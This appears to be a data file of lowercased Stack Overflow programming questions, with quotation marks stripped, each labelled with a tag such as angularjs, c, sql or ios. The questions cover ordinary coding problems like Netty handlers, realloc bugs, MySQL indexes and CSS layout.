angularjs: ng-show element visible while the condition is not met  html:   <pre><code>&lt;div ng-app ng-controller= appcontroller &gt;     boxwidth: {{boxwidth}}     &lt;div ng-show= activewindow1  style= border:1px solid black; width: {{boxwidth}}px; height:20px; &gt;     &lt;/div&gt;     &lt;div ng-show= activewindow2  style= border:1px solid red; width: {{boxwidth}}px; height:20px; &gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   js:   <pre><code>function appcontroller($scope) {     $scope.getwidth = function() {         return $(window).width();     };     $scope.$watch($scope.getwidth  function(newvalue  oldvalue) {         $scope.boxwidth = newvalue / 10;         $scope.activewindow2 = true;     });     window.onresize = function(){         $scope.$apply();     } } </code></pre>   jsfiddle: <a href= http://jsfiddle.net/fqgxq/20/  rel= nofollow >http://jsfiddle.net/fqgxq/20/</a>    note that activewindow1 is never set to true  so technically we should never see the black box  right  try resizing the window  resulting in the $scope.apply(); call and see what happens.    result: both boxes are visible (recent chrome browser).    there is an easy workaround  which is to take the ng-show out into a new div  making the current one its child. however  i d like to understand why this is happening as it certainly seems like an angular bug. i suspect i m just doing something i m not supposed to with the {{boxwidth}} inside style=  . if so  what s a proper way,angularjs
strings xcode objective-c  i m new in objective-c and xcode.    i did the first program   hello word   and now i want to change  hello word  message for another message. here is the example in my code:    <strong>.h</strong>   <pre><code>#import &lt;uikit/uikit.h&gt;     @interface viewcontroller : uiviewcontroller {   iboutlet uilabel * label;  iboutlet uibutton * boton;  }  -(ibaction)click:(id)sender;  @end </code></pre>   <strong>.m</strong>   <pre><code> #import  viewcontroller.h    @interface viewcontroller ()   @end   @implementation viewcontroller   -(ibaction)click:(id)sender{      label.text = @ hello word  ;      label.text = @ here is the second string ;        // i would like when i touch again the button to change to this string  } </code></pre>,objective-c
how to call a method between different objects in javascript   i m developing an application for mobile devices using the dhtmlx-touch framework  which is basically javascript.    i have a class a where this function is implemented:   <pre><code>a.prototype.initeventhandler = function(controller) {     $$( btn_submit ).attachevent( onitemclick   controller.switchview($$( ui_ewmon_main ))); } </code></pre>   <strong>first implementation</strong>    the object controller is an instance of the class b  and the class b is the following:   <pre><code>function b() {          //back button management     this.last_view=new array();     this.current_view=this.ewmon_view.getroot();      this.switchview = function(next) {         this.last_view[this.last_view.length]=this.current_view;         this.current_view=next;         next.show();     } } </code></pre>   with firebug i get this error:   <blockquote>    a.js:32uncaught typeerror: object # has no method  switchview   </blockquote>   <strong>second implementation</strong>    if i try to define switchview function as a prototype function:   <pre><code>function b() {          //back button management     this.last_view=new array();     this.current_view=this.ewmon_view.getroot(); } b.prototype.switchview = function(next) {     this.last_view[this.last_view.length]=this.current_view;     this.current_view=next;     next.show(); } </code></pre>   in this case i get the following error:   <blockquote>    b.js:13uncaught typeerror: cannot read property  length  of undefined  </blockquote>   can anyone help me     thanks in advance danilo,javascript
is it possible to get the response code of the js imports in html programmatically   in html  is it possible to see the response code of the script you imported     i specifically need to get the response code of each script import. this has something to do with problem i m dealing in this <a href= https://stackoverflow.com/questions/29641659/is-it-possible-to-intercept-html-css-and-js-files-used-in-angularjs noredirect=1#comment47426865_29641659 >post</a>.    i was wondering if i couldn t intercept using angularjs maybe i can do it by using pure javascript.,javascript
how to call uialertviewcontroller in nsobject class in ios9   due to deprecation of alert view in ios9 i’m facing difficulty  to show alert through nsobject class because in uialertview there is one method to show alert [objaler show] ; but in ios 9 to show alert  we have to use presentviewcontroller so anyone can tell me how to show alert view controller in nsobject class.    the code i want to called in nsobject class is as follow:   <pre><code>   uialertcontroller *alert= [uialertcontroller                                alertcontrollerwithtitle:@ login                                 message:@ enter your credentials here                                 preferredstyle:uialertcontrollerstylealert];      uialertaction* ok = [uialertaction actionwithtitle:@ done  style:uialertactionstyledefault                                                handler:^(uialertaction * action){                                                    //do some action here                                                }];     uialertaction* cancel = [uialertaction actionwithtitle:@ cancel  style:uialertactionstyledefault                                                    handler:^(uialertaction * action) {                                                       nslog(@ cancel btn );                                                        [alert dismissviewcontrolleranimated:yes completion:nil];                                                     }];     [alert addaction:ok];     [alert addaction:cancel];    [self presentviewcontroller:alert animated:yes completion:nil];  } </code></pre>   my question is i want to call that in nsobject class. how to do that,ios
netty 4.0.27 channelread not fired  i m making a server and i just started on sockets with netty 4.0.27. previously i ve only used 3.x  so i don t have a lot of experience with 4.x. but what i made so far doesn t work 100%.    in my entry point i got this:   <pre><code>networklistener listener = new networklistener(); listener.start(30000); </code></pre>   the network listener class contains this:   <pre><code>public class networklistener {      private final eventloopgroup bossgroup;     private final eventloopgroup workergroup;      private final serverbootstrap bootstrap;      public networklistener() {         this.bossgroup = new nioeventloopgroup();         this.workergroup = new nioeventloopgroup();          this.bootstrap = new serverbootstrap();         this.bootstrap.group(bossgroup  workergroup)             .channel(nioserversocketchannel.class) // (3)             .childhandler(new channelinitializerimpl())             .option(channeloption.so_backlog  128) // (5)             .childoption(channeloption.so_keepalive  true); // (6)     }      public void start(int port) {         try {             channelfuture future = bootstrap.bind(port).sync();             future.channel().closefuture().sync();              system.out.println( network listener bound on port   + port);         } catch (interruptedexception ex) {             system.out.println(ex.getmessage());         } finally {             workergroup.shutdowngracefully();             bossgroup.shutdowngracefully();         }     }      private static class channelinitializerimpl extends channelinitializer&lt;socketchannel&gt; {          @override         public void initchannel(socketchannel ch) throws exception {             ch.pipeline().addlast(new networkhandler());         }     } } </code></pre>   and my networkhandler class   <pre><code>public class networkhandler extends channelinboundhandleradapter {      @override     public void channelactive(channelhandlercontext ctx) {         session session = environment.getsessioncontroller().addsession(ctx);         session.sendraw( @@ );     }      @override     public void channelinactive(channelhandlercontext ctx) {      }      @override     public void channelread(channelhandlercontext ctx  object message) {         system.out.println(message);     }      @override     public void exceptioncaught(channelhandlercontext ctx  throwable cause) {         system.out.println(cause.getmessage());     } } </code></pre>   my sendraw function:   <pre><code>public void sendraw(string data) {     data = data + (char)terminate_packet_char;     this.channel.write(unpooled.copiedbuffer(data  charsetutil.utf_8)); } </code></pre>   basically  the channelactive event gets fired (i ve tested it) and i should return data from the client if i send @@. but what happens is  when i send @@  nothing happens  the channelread event isn t fired and no exception is thrown.    i wonder what i m doing wrong. also the following line isn t printed either   <pre><code>system.out.println( network listener bound on port   + port); </code></pre>,java
check for changes in a text file  i need a simple way to monitor a text file for changes. don t need any components just some function or just how this can be done.    i was thinking about checking the filesize for any changes  would this be a recomended was to monitor changes,c#
find and replace all characters before #  i have an array containing strings. each string looks like this:   <pre><code>debit card purchase 06/14 06:09p #1936 uic campus prkg admin chicago il 16168 </code></pre>   i would like to remove all before  #  character in order to retain only uic campus prkg admin chicago il 16168 as a name. how can i use regex scripting to do this in rails     if i could  i would like to just get uic campus prkg admin but not sure how i can distinguish just this part but not sure if it is possible. looking for suggestions on that as well.,ruby-on-rails
"negative margin leaves blank space  look at the example here:      <a href= https://codepen.io/agahi/pen/xerbpr  rel= nofollow noreferrer >https://codepen.io/agahi/pen/xerbpr</a>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.leftdiv {
   width: 600px;
   margin: 50px;
   float: left;
   border: 2px solid green;
 }
 
 .offsetimage {
   float: left;
   width: 300px;
   position: relative;
   top: -40px;
   left: -40px
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= leftdiv &gt;
   &lt;img src= https://i.guim.co.uk/img/media/de538985136b3b0fa819a7a6318427d936e9eccd/0_19_2928_1757/master/2928.jpg w=620&amp;q=20&amp;auto=format&amp;usm=12&amp;fit=max&amp;dpr=2&amp;s=b76172f92da8780e2bc3354a169453f2  class= offsetimage  /&gt;the fast food chain kfc has been forced
   to temporarily close most of its uk outlets after problems with a new delivery contract led to a chicken shortage. a total of 562 kfc outlets remained shut following a weekend of disruption that peaked on sunday night at 646 closures. kfc published
   a list of only 338 of its 900 stores that were still open on monday night. many were offering a limited menu and restricted opening hours. the chicken delivery problem is so severe that the company cannot say when operations will be back to normal.
   but it said it was working “flat out” to resolve the crisis. signs on many of the closed stores said: “sorry  we’re closed. we deliver our chickens fresh into our restaurants  but we’ve had a few hiccups with the delivery today. we wouldn’t want to
   be open without offering our full menu  but we’ll be back at the fryers as soon as we can.” kfc tried to make light of the problem  saying “the colonel is working on it” - a reference to the chain’s us founder  colonel sanders  whose image adorns the
   brand. in a statement it blamed the chicken shortage on a contract with delivery company dhl.
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     the div at the right side with red border is normal. the one on the left with green border is what i want. i want the image to have the negative top and negative left so that it looks like it has been dragged out of the div.    the problem is that the text doesn t wrap around the image on the left side.    is there a way that text fills around the image with negative top and left",css
how to clear cache and cookies in iphone  in my iphone application i want to clear the cache and cookies at the logout page.  please give proper suggestions for that.  now i am using the below code  but it is not working properly.   <pre><code>[[nsurlcache sharedurlcache] removeallcachedresponses]; </code></pre>,iphone
doubling a variable numerous times  and adding all iterations of the variable together  edited for clarity s sake. i apologize for the confusion :3    okay  so i m following an online cs class  and we re supposed to write a program  in c  that will tell you how much money you d have if you had a penny at the beginning of the month and doubled it every day.    each day you would get double what you had yesterday plus everything from the previous days.    example: you start with .01 and what to calculate a running total by day 3. so the first day is .01  second day is .02  third day is .04. on day 3 you would have 0.01+0.02+0.04 (.09).    the program intends to calculate this process over the duration of any given month (28 - 31 days).    i m having a really hard time trying to implement this. i ve got it doubling it  but i m not sure how to the previously-calculated days together.    here s my code:   <pre><code>#include &lt;stdio.h&gt; #include &lt;math.h&gt;  int main(void) {      /*days represents total days in months*/     /*pens represents the number of pennies on the first day*/      long long days;     long long pens;      do {       printf( enter the number of days in the month:  );       scanf( %llu   &amp;days);     } while(days &lt; 28 || days &gt; 31);          printf( enter the initial number of pennies:  );     scanf( %llu   &amp;pens);      for (int i=0; i&lt;= days-1; i++) {       pens += pow(2 i);       printf( you ll have $%llu\n   pens);     } } </code></pre>   edit2: okay  so i think i fixed it thanks to all your awesome advice. i changed the last part to:   <pre><code>for (int i=0; i&lt;= days-1; i++)         {             pens = pens + (pens * 2);          }         total = pens / 100;         printf( you ll have $%.2f\n   total);      }  </code></pre>   though there is still a slight issue with the output (which  i m thinking  is due to the data type i m using ) it prints out:    you ll have $0.00 you ll have $0.00 you ll have $0.00 you ll have $0.00 you ll have $2.00 you ll have $7.00 you ll have $21.00 you ll have $65.00 you ll have $196.00 you ll have $590.00 you ll have $1771.00 you ll have $5314.00 you ll have $15943.00 you ll have $47829.00 you ll have $143489.00 you ll have $430467.00 you ll have $1291401.00 you ll have $3874204.00    etc.    pretty good  but i m betting it s not that accurate since the first few iterations are 0.00.,c
i want to get user input and return the first letters of each string  forgive me  but i am new to c programming.     i am trying to write a code in c where i will request for a user input say  hello world . once user gives this i want to return the initials like  hw .     i have searched online for clues but nothing seem to be giving me enough help even though there have been quite helpful clues to some degree.,c
close connection in sql - timeout  i have a big issue that one of my sites is failing to load most times. unfortunately i cannot upload pictures yet. the problem states the following   <blockquote>    the time out period elapsed prior to obtaining a connection from the pool. this may have occured because all pooled connections where in use and max pool size was reached.   </blockquote>   and i get a highlighted line 14: upcmd.connection.open(). the error continues further.    i am not an expert at all so what i did so far from researching around what to add the max pool size in    <code>&lt;add name= connectionstring  connectionstring= data source=yianniscy.db.7015338.hostedresource.com;initial catalog=xxxxxxx;user id=xxxxxx;password=xxxxxxx;**max pool size=100**  /&gt;</code> in webconfig    the problem still remains although this application is used by a single person and never had this issue before. this started as soon as my hosting provider did an upgrade. at the moment i understand that connections remain open and need to be closed. the problem is that i have no idea what to put and where to put it. if someone can guide me where exactly and what exactly to put i would appreciate it.   <pre><code>partial class default2 inherits system.web.ui.page  protected sub imagebutton1_click(byval sender as object  byval e as system.web.ui.imageclickeventargs) handles imagebutton1.click     dim conn as new sqlconnection(configurationmanager.connectionstrings( connectionstring ).connectionstring)      using upcmd as new sqlcommand( select login from xuser_tab where name=@logname   conn)          upcmd.parameters.add(new sqlparameter( @login_name   textbox1.text))         upcmd.connection.open()         dim password_temp as string          try             dim dr as sqldatareader = upcmd.executereader()              if dr.read then                 password_temp = dr.item(0)                  if password_temp = textbox2.text then                     response.redirect( ~/controlpanel.aspx )                  else                   end if                 image2.visible = true                 label1.visible = true              end if </code></pre>,.net
angularjs responsive ( without browser refresh)  i am using an external plugin called angular slick . <a href= https://github.com/vasyabigi/angular-slick  rel= nofollow >https://github.com/vasyabigi/angular-slick</a> my requirement being i want 3 slides on desktop while only 1 on mobile . i dont want to use jquery for this i have achieved that through my code   but the only problem is when i am resizing the browser   i have to force the browser to refresh to see my responsive changes .  as mine is a single page application   refreshing doesnt make sense . can i achieve the same without refresh using some concepts of angular or something else .(jquery not allowed) my html is below   <pre><code>&lt;slick infinite=true slides-to-show={{itemtoshow}} slides-to-scroll=3 class= slider multiple-items &gt;   &lt;div style= background-color: red  ng-repeat= item in items &gt;  &lt;h3&gt;{{item}}&lt;/h3&gt; &lt;/div&gt; &lt;/slick&gt; </code></pre>   main.js   <pre><code>angular.module( slickapp ) .controller( myctrl   [ $scope   function($scope){ $scope.items = [1 2 3 4 5 7 8]; $scope.itemtoshow = 3; var width = window.innerwidth || document.documentelement.clientwidth || document.body.clientwidth;   window.onresize = function(event) { document.location.reload(true); }   if ( width &lt; 600) { $scope.itemtoshow = 1; } }]); </code></pre>,angularjs
sql error - not unique table / alias  i am trying to join 2 tables by date  and then i want to use the temperature specified on a certain category. this is my current sql code:    <pre><code>select id  pasnummer  datum1 from transacties1  knmidata inner join knmidata on knmidata.datum = transacties1.datum1 where mintemp &lt; 100 and category= actief  </code></pre>  <blockquote>    error: 1066: knmidata is not specified.   </blockquote>   i just renamed knmidata so name is unique. i appreciate if someone would help me.,sql
.net exception. application code to blame  or .net itself   i m not a .net developer  but we have a company who developed an application with .net that is constantly crashing. in the event log  we see many crash dumps. below is one of them. basically  the developer is saying that it is a .net issue and not their code  but from what i know about coding  the exception is saying that they are not handling an exception correctly. i don t know enough to refute them. can anyone offer insight as to what the issue might (really) be (i don t trust the developer  as their product has been horrendous throughout the process)  or what parts of the message might indicate that it is an issue that the developer needs to deal with  and not microsoft (or  if the error dictates  the reverse)  thanks in advance.   <pre><code>description: the process was terminated due to an unhandled exception. exception info: system.runtime.interopservices.sehexception stack: at system.runtimetypehandle.constructname(system.runtimetypehandle  system.typenameformatflags  system.runtime.compilerservices.stringhandleonstack) at system.runtimetype+runtimetypecache.constructname(system.string byref  system.typenameformatflags) at system.runtimetype+runtimetypecache.getname(system.typenamekind) at system.runtimetype.get_fullname() at system.diagnostics.stacktrace.tostring(traceformat) at system.diagnostics.stacktrace.tostring() at system.runtime.diagnostics.diagnostictracebase.stacktracestring(system.excep tion) at system.runtime.diagnostics.etwdiagnostictrace.writeexceptiontotracestring(sy stem.xml.xmltextwriter  system.exception  int32  int32) at system.runtime.diagnostics.etwdiagnostictrace.exceptiontotracestring(system. exception  int32) at system.runtime.diagnostics.etwdiagnostictrace.getserializedpayload(system.ob ject  system.runtime.diagnostics.tracerecord  system.exception  boolean) at system.runtime.tracecore.throwingetwexception(system.runtime.diagnostics.etw diagnostictrace  system.string  system.string  system.exception) at system.runtime.exceptiontrace.traceetwexception(system.exception  system.diagnostics.traceeventtype) at system.servicemodel.diagnostics.exceptionutility.throwhelper(system.exceptio n  system.diagnostics.traceeventtype  system.runtime.diagnostics.tracerecord) at system.servicemodel.channels.socketconnectioninitiator.connect(system.uri  system.timespan) at system.servicemodel.channels.bufferedconnectioninitiator.connect(system.uri  system.timespan) at system.servicemodel.channels.connectionpoolhelper.establishconnection(system .timespan) at system.servicemodel.channels.clientframingduplexsessionchannel.onopen(system .timespan) at system.servicemodel.channels.communicationobject.open(system.timespan) at system.servicemodel.channels.reliablechannelbinder`1+channelsynchronizer+syn cwaiter[[system.__canon  mscorlib  version=4.0.0.0  culture=neutral  publickeytoken=b77a5c561934e089]].trygetchannel() at system.servicemodel.channels.reliablechannelbinder`1+channelsynchronizer+syn cwaiter[[system.__canon  mscorlib  version=4.0.0.0  culture=neutral  publickeytoken=b77a5c561934e089]].trywait(system.__canon byref) at system.servicemodel.channels.reliablechannelbinder`1+channelsynchronizer[[sy stem.__canon  mscorlib  version=4.0.0.0  culture=neutral  publickeytoken=b77a5c561934e089]].trygetchannel(boolean  boolean  system.timespan  system.servicemodel.channels.maskingmode  system.__canon byref) at system.servicemodel.channels.reliablechannelbinder`1[[system.__canon  mscorlib  version=4.0.0.0  culture=neutral  publickeytoken=b77a5c561934e089]].send(system.servicemodel.channels.message  system.timespan  system.servicemodel.channels.maskingmode) at system.servicemodel.channels.reliableoutputsessionchanneloverduplex.onconnec tionsend(system.servicemodel.channels.message  system.timespan  boolean  boolean) at system.servicemodel.channels.reliableoutputsessionchannel.onconnectionsendha ndler(system.servicemodel.channels.messageattemptinfo  system.timespan  boolean) at system.servicemodel.channels.reliableoutputconnection.internaladdmessage(sys tem.servicemodel.channels.message  system.timespan  system.object  boolean) at system.servicemodel.channels.reliableoutputsessionchannel.onsend(system.serv icemodel.channels.message  system.timespan) at system.servicemodel.channels.outputchannel.send(system.servicemodel.channels .message  system.timespan) at system.servicemodel.dispatcher.outputchannelbinder.send(system.servicemodel. channels.message  system.timespan) at system.servicemodel.channels.servicechannel.call(system.string  boolean  system.servicemodel.dispatcher.proxyoperationruntime  system.object[]  system.object[]  system.timespan) at system.servicemodel.channels.servicechannelproxy.invokeservice(system.runtim e.remoting.messaging.imethodcallmessage  system.servicemodel.dispatcher.proxyoperationruntime) at system.servicemodel.channels.servicechannelproxy.invoke(system.runtime.remot ing.messaging.imessage) at system.runtime.remoting.proxies.realproxy.privateinvoke(system.runtime.remot ing.proxies.messagedata byref  int32) at nvents.services.wcf.ieventservice.publish(system.object) </code></pre>,.net
returning a value in a function with a type given  i have a class which is dividable.   <pre><code>public class a     {         private static a divide(double a  a b)         {             // some code to divide             return b;         }         public static a operator / (double a  a b)         {             return divide(a  b);         }     }     public class b : a     {         private static b divide(double a  b b)         {             // some code to divide             return b;         }         public static b operator / (double a  b b)         {             return divide(a  b);         }     } </code></pre>   as it is shown  division of class a and b should represent type a and b  respectively. however  i cannot figure out how to make divide function once only on class a. is there a way to use such things as templates in c++,c#
ios uploading app to appstore errors  i am trying to upload an ios application to the app store on xcode  but for some reason after it passes validation the application is stuck on  your application is being uploaded . and when i have tried to  edit schema -> build configuration change it to release then get the .app and compress it to upload it with application loader it gives me an error when i run the code in release  a valid provisioning profile for this executable was not found.  (although its working on debug perfectly) iam sure that code signing working 100% i have put the developer profile under debug and distribution profile under release  note:my project contains two projects and i have read to change the dependent project to skip install yes and i have done this to avoid errors  any thoughts,ios
mysql index is not used on big table  i have a table with 40 million records.    when i make a request:   <pre><code>select count(*)  from shares where id &gt; 36725307 and our_result =  n  </code></pre>   index on <code>our_result</code> is used.    in a statement using a different value:   <pre><code>select count(*) from shares where id &gt; 36725307 and our_result =  y  </code></pre>   the index is not used.   <blockquote>    my.cnf  </blockquote>  <pre><code>key_buffer_size         = 900m join_buffer_size        = 512m query_cache_size        = 128m thread_cache_size       = 8 query_cache_limit       = 64m tmp_table_size          = 512m max_heap_table_size     = 128m key_buffer_size         = 256m key_cache_division_limit= 70 max_heap_table_size     = 256m sort_buffer_size        = 128m   max_tmp_tables          = 64 table_cache             = 2048 read_rnd_buffer_size    = 128m </code></pre>   records with the field <code>our_works = y</code>: 37 million<br/> records with the field <code>our_works = n</code>: 2 million    why is the index not used in the second query,mysql
in  command s and logical operator counterpart   let s say i have 2 tables:   <ul> <li>employee</li> <li>emplocxref</li> </ul>   if i wanted to list employees that belong to locations 1  2  <strong>or</strong> 3 i would write a query similar to:   <pre><code>select distinct e.id  e.name from employee e join emplocxref x on x.employee_id = e.id where x.location_id in (1  2  3) ; </code></pre>   <a href= http://sqlfiddle.com/#!6/01539d/1/0  rel= nofollow >example</a>.    but what if i wanted to list employees that only belong to locations 1  2  <strong>and</strong> 3   i realize i could write something similar to:   <pre><code>select e.id  e.name from employee e join emplocxref x on x.employee_id = e.id where x.location_id in (1  2  3) group by e.id  e.name having count(*) = 3 ; </code></pre>   <a href= http://sqlfiddle.com/#!6/01539d/2/0  rel= nofollow >example</a>    is there a better way to do this that doesn t include dynamic sql     edit: fixed derp moment on 2nd query.  added fiddler examples.,sql
warning: using unique option prefix pass instead of password is deprecated and will be removed in a future release. please use the full name instead  mysql 5.6.30 on command line when i will try connect or execute any command (like <code>mysql -u root -p</code> or <code>mysql --help</code> or <code>mysqldump</code>) i got this alert/warning.   <blockquote>    warning: using unique option prefix pass instead of password is   deprecated and will be removed in a future release. please use the   full name instead.  </blockquote>   i d never saw this warning message.    anyone knows why this is happening     thanks!,mysql
how to extract values from nested nodes with htmlagilitypack c#  i have the following situation where i need to extract some text within a few nested divs using htmlagilitypack with c#   <pre><code>&lt;div class =  content &gt;     &lt;div data-type =  container &gt;         &lt;div class =  level1 &gt;             &lt;div class =  level2 &gt;                 &lt;span&gt;some_text&lt;/span&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   the text i need to get is  some_text   i have tried everything but still cant get my head around this.,c#
realloc is messing up the code  i wrote a program that s supposed to do a find and replace inside a file  with the condition that the new word must be longer than the old one. i had a lot of issues with it  like printing weird characters  or having the core dumped  but when i removed the <code>realloc</code> statement the problems seemed to go away. i m not very familiar with the function  what mistake did i do     also  are my frees where they should be    <pre><code>void replace_word(const char *s  const char *old_word  const char *new_word){     char *buffer = malloc(buffer_size);     char *init = buffer;     file *original_file;     file *copy;      if((original_file = fopen(s   r )) == null){         perror(s);         exit(exit_failure);     }      if((copy = fopen( copy.txt    w )) == null){         perror( text );         exit(exit_failure);     }      int old_word_len = strlen(old_word);     int new_word_len = strlen(new_word);      char *src;     char *dst;     char *tmp;     while(fgets(buffer  buffer_size  original_file)){         if((tmp = strstr(buffer  old_word))){             buffer = realloc(buffer  buffer_size + new_word_len - old_word_len);             src = tmp + old_word_len;             dst = tmp + new_word_len;             memmove(dst  src  strlen(src));             memcpy(tmp  new_word  new_word_len);             buffer = init;         }         fprintf(copy   %s   buffer);         if(!strchr(buffer   \n )){             fseek(original_file  -old_word_len  seek_cur);         }         free(buffer);         buffer = malloc(buffer_size);     }     free(buffer); } </code></pre>,c
render string templates via ng-include  i am trying to render a piece of html  available on a dynamic route  the route is fetched via a <code>$http.get()</code> call  it returns a piece of html      just to give an example i try to load this html partial:   <pre><code>&lt;h1&gt;{{ pagetitle }}&lt;/h1&gt; this is a simple page example </code></pre>   i made a small fiddle  to mock the problem  but for the simplicity i left the http call out  and just added the html in a string on the scope.    the controller is:   <pre><code>function ctrl($scope) {     $scope.data = {         view:  &lt;h1&gt;whaaaaa&lt;/h1&gt;              };  } </code></pre>   the page html is this:   <pre><code>&lt;div ng-app=  &gt;   &lt;div ng-controller= ctrl &gt;     &lt;div ng-include src= data.view &gt;&lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   the problem is that it does not add the string into the html file (ng-include)  but it makes a http call to a url made of that string aparently.    so is it not possible to just enter a string into an include  if not  what is the proper way to make an http call to a dynamic url  and enter the returned url into the page.    you can play with it in <a href= http://jsfiddle.net/yq7ev/1/  rel= nofollow >jsfiddle</a>.,angularjs
gridview image from internet  i am trying to display image from internet in a gridview. when i am running my program there is not error in the catlog but no image are displayed in my screen..    imageadapter.java :   <pre><code>public class imageadapter extends baseadapter { private context mcontext; bitmap bmimg; imageview imageview;  public string[] mthumbids = {          http://i724.photobucket.com/albums/ww246/bnhenson/squishy.jpg    http://cdn4.teen.com/wp-content/uploads/2012/07/paranorman-zayn-malik-tweets.jpg            http://xc0.xanga.com/08fe2b7a30c37281496919/m224298958.jpg  };  // constructor public imageadapter(context c){     mcontext = c; }  @override public int getcount() {     return mthumbids.length; }  @override public object getitem(int position) {     return mthumbids[position]; }  @override public long getitemid(int position) {     return 0; }  @override public view getview(int position  view convertview  viewgroup parent) {              imageview = new imageview(mcontext);     downloadfile(mthumbids[position]);     imageview.setscaletype(imageview.scaletype.center_crop);     imageview.setlayoutparams(new gridview.layoutparams(135  135));     imageview.setpadding(0  0  1  0);     return imageview; } void downloadfile(string fileurl) {      asynctask&lt;string  object  string&gt; task = new asynctask&lt;string  object  string&gt;() {          @override         protected string doinbackground(string... params) {             url myfileurl = null;             try {                 myfileurl = new url(params[0]);             } catch (malformedurlexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             }             try {                 httpurlconnection conn = (httpurlconnection) myfileurl                         .openconnection();                 conn.setdoinput(true);                 conn.connect();                 inputstream is = conn.getinputstream();                  bmimg = bitmapfactory.decodestream(is);              } catch (ioexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             }              return null;         }         protected void onpostexecute(string unused) {             imageview.setimagebitmap(bmimg);         }     };     task.execute(fileurl);  }} </code></pre>   androidgridlayoutactivity.java   <pre><code>public class androidgridlayoutactivity extends activity {  @override public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.grid_layout);      gridview gridview = (gridview) findviewbyid(r.id.grid_view);      // instance of imageadapter class     gridview.setadapter(new imageadapter(this)); }} </code></pre>   grid_layout.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;gridview xmlns:android= http://schemas.android.com/apk/res/android  android:id= @+id/grid_view  android:layout_width= fill_parent  android:layout_height= fill_parent  android:numcolumns= auto_fit  android:columnwidth= 90dp  android:horizontalspacing= 10dp  android:verticalspacing= 10dp  android:gravity= center  android:stretchmode= columnwidth  &gt;    &lt;/gridview&gt; </code></pre>   and in my manifest i added this two line :   <pre><code>&lt;uses-permission android:name= android.permission.internet &gt;&lt;/uses-permission&gt; &lt;uses-permission android:name= android.permission.write_external_storage  /&gt; </code></pre>   does anyone have an idea  what step i miss here     thanks in advance for your help     germain.,android
wcf client   the client was unable to retrieve service metadata. make sure the service is running and exposing metadata  this error is occuring in .net 2008 while executing the wcf application. i used wcf service library template what is the reason for the error  is it iis must for this,.net
how to change uilabel font size after changing font size from settting screen  when i am changing my font size from setting screen it is not affecting my uilabel and uitextbox font size in my application.    what i need to do for taking of defined font size of application  or is there any flag exist in interface builder so component would change whenever user will change font size ration from setting screen,iphone
compiling multiple source files  i have four files containing c code.     <code>headers.h</code>  - (contain all necessary) headers    <code>addstudent.h</code> - that file include headers.h also introduce some function delegation    <code>addstudent.c</code> - contains functions described in <code>addstudent.h</code>    <code>main.c</code> - contains <code>main()</code>    the question is how to compile the code with cc,c
how to dark image background in css on hover   how would i darken a image background on hover without use another image,css
javascript remove last character and round up  suppose we have a string like this: <code>2002</code>. i want to remove last character and round up last character of result. it means the proper output is : <code>201</code>.    note: if the last character is <code>0</code> we don t need to round up;    <strong>more example :</strong>    <code>100</code> --- <code>to:</code> --- <code>10</code>    <code>200</code> --- <code>to:</code> --- <code>20</code>     <code>101</code> --- <code>to:</code> --- <code>11</code>    <code>222</code> --- <code>to:</code> --- <code>23</code>    <code>30006</code> --- <code>to:</code> --- <code>3001</code>    <strong><code>1299</code> --- <code>to:</code> --- <code>130</code></strong>    <code>4089</code> --- <code>to:</code> --- <code>409</code>    <code>5099</code> --- <code>to:</code> --- <code>510</code>    <em>actually it s a solution for currency conversion <strong>rial to toman</em></strong>,javascript
test fails when adding  :remember_token   i m following chapter 8 of michale hartl s tutorial. when i add:   <pre><code>  it { should respond_to(:remember_token) } </code></pre>   to the user_spec.rb file the test fails  with the failure notice pointing directly to this one line in the file.     prior to adding this line  all tests past.     the only other steps i took after adding this line (and before running the test) was to run a remember token:   <pre><code>$ rails generate migration add_remember_token_to_users </code></pre>   i then updated db/migrate/[timestamp]_add_remember_token_to_users.rb as follows:   <pre><code>class addremembertokentousers &lt; activerecord::migration   def change     add_column :users  :remember_token  :string     add_index  :users  :remember_token   end end </code></pre>   and development and test databases as usual:   <pre><code>$ bundle exec rake db:migrate $ bundle exec rake db:test:prepare </code></pre>,ruby-on-rails
i have to set up ftp  i have to first call <code>exe</code> that generate <code>.txt</code> file. and then <code>ftp</code> to push that file . and i have to do this in <code>.bat</code> file. it first call the <code>.exe</code> to generate file  and then send that file through ftp. <code>.exe</code> generate file in <code>d:/csst/zppr1.txt</code>. how to do this,asp.net
draw multiple piecharts using coreplot  how to draw multiple pie charts using coreplot.is it possible to draw these side by side     regards     krishna,ios
angularjs better way to manage partials and controller data  i ve been using directives in angularjs which build a html element with data fetched from the $scope of the controller. i have my controller set a $scope.ready=true variable when it has fetched it s json data from the server. this way the directive won t have to build the page over and over each time data is fetched.    here is the order of events that occur:   <ol> <li> the controller page loads a route and fires the controller function. </li> <li> the page scans the directives and this particular directive is fired. </li> <li> the directive builds the element and evaluates its expressions and goes forward  but when the directive link function is fired  it waits for the controller to be  ready . </li> <li> when ready  an inner function is fired which then continues building the partial. </li> </ol>   this works  but the code is messy. my question is that is there an easier way to do this  can i abstract my code so that it gets fired after my controller fires an event  instead of having to make this onready inner method.    here s what it looks like (its works  but it s messy hard to test):   <pre><code>angular.module( app   []).directive( somedirective  function() {    return {      link : function($scope  element  attrs) {        var onready = function() {         //now lets do the normal stuff       };        var readykey =  ready ;       if($scope[readykey] != true) {         $scope.$watch(readykey  function() {           if($scope[readykey] == true) {             onready();           }         });       }       else {         onready();       }      }    };  }); </code></pre>,angularjs
what s the html tag that doesn t process html inside of it   google fail  i used to know what it was years ago...    basically would make <code>&lt;thetag&gt;&lt;img src= cat.jpg /&gt;&lt;/thetag&gt;</code> render as <code>&lt;img src= cat.jpg /&gt;</code> rather than actually displaying the image...,html
